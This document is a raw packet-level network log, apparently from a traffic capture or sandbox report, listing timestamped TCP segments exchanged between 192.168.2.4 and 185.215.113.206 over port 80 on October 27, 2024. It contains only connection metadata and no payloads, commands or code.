Oct 27, 2024 12:13:27.526354074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526357889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526392937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526413918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526427031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526446104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526462078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526484013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526509047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526513100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526545048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526560068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526592016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526596069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526623964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526638985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526655912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526669979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526690960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526707888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526724100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526743889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526757002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526772022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526788950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526813030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526823044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526839972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526855946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526871920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526895046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526901960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526942015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.526947021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526982069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.526995897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527015924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527026892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527060032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527101994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527134895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527156115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527167082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527179956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527199984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527229071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527232885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527249098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527266026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527282000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527301073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527319908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527349949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527354956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527393103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527407885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527426004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527442932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527466059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527471066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527494907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527519941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527540922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527617931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527652025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527676105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527684927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527694941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527719021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527730942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527754068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527767897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527789116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527803898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527823925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527838945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527859926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527874947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527904987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527911901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527945995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527961016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.527980089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.527993917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528012991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528029919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528047085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528062105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528081894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528104067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528115034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528129101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528148890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528172016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528193951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528203964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528233051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528259993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528265953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528290987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528312922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528316975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528352022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528367996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528388023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528399944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528422117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528434992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528456926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.528471947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.528503895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.570965052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.571013927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.571047068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.571052074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.571074009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.571110964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.599935055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.599960089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.599971056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.599984884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600003004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600013018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600027084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600037098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600090981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600135088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600137949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600152016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600172997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600197077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600248098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600282907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600317001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600341082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600363016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600367069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600405931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600440025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600440025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600495100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600505114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600524902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600541115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600541115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600575924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600608110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600610018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600652933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600661039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600694895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600714922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600718975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600744963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600760937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600795031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600802898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600836992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600852966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600887060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600888014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.600974083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.600994110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601010084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601025105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601046085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601061106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601083040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601095915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601119041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601138115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601152897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601162910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601202011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601210117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601257086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601260900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601295948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601309061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601327896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601345062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601363897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601377010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601414919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601417065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601454020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601464987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601488113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601500034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601540089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601540089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601574898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601593018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601610899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601636887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601644993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601663113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601679087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601694107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601715088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601749897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601775885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601849079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601897955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601898909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601950884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601955891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.601985931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.601998091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602040052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602052927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602073908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602092028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602124929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602127075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602176905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602178097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602211952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602226973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602246046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602256060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602281094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602302074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602317095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602328062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602350950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602376938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602391958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602404118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602427006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602442026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602479935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602494955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602516890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602531910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.602545023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602579117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602613926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602647066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602680922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.602778912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.642846107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.642916918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.642967939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.642968893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643003941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643038988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643074036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643125057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643158913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643161058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643161058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643197060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643229008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643229961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643276930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643290043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643372059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643409967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643443108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643469095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643476009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643503904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643511057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643532991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643547058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643568993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643583059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643604040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643619061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643642902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643652916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643672943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643687010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643703938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643721104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643742085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643755913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643778086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643790007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643806934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643825054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643841982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643853903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643887043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643913031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643920898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643937111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.643970966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.643974066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644005060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644026995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644038916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644056082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644073963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644089937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644108057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644126892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644157887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644161940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644196033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644212961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644231081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644252062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644262075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644284010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644295931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644310951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644330978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644346952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644365072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644382954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644399881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644418001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644433022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644454002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644467115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644484043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644517899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644519091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644551992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644567966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644587040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644602060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644625902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644639015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644659042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644685984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644690990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644716024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644725084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644742966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644764900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644783020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644798994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644820929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644831896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644855022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644865990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644881964 CET	49730	80	192.168.2.4	185.215.113.206
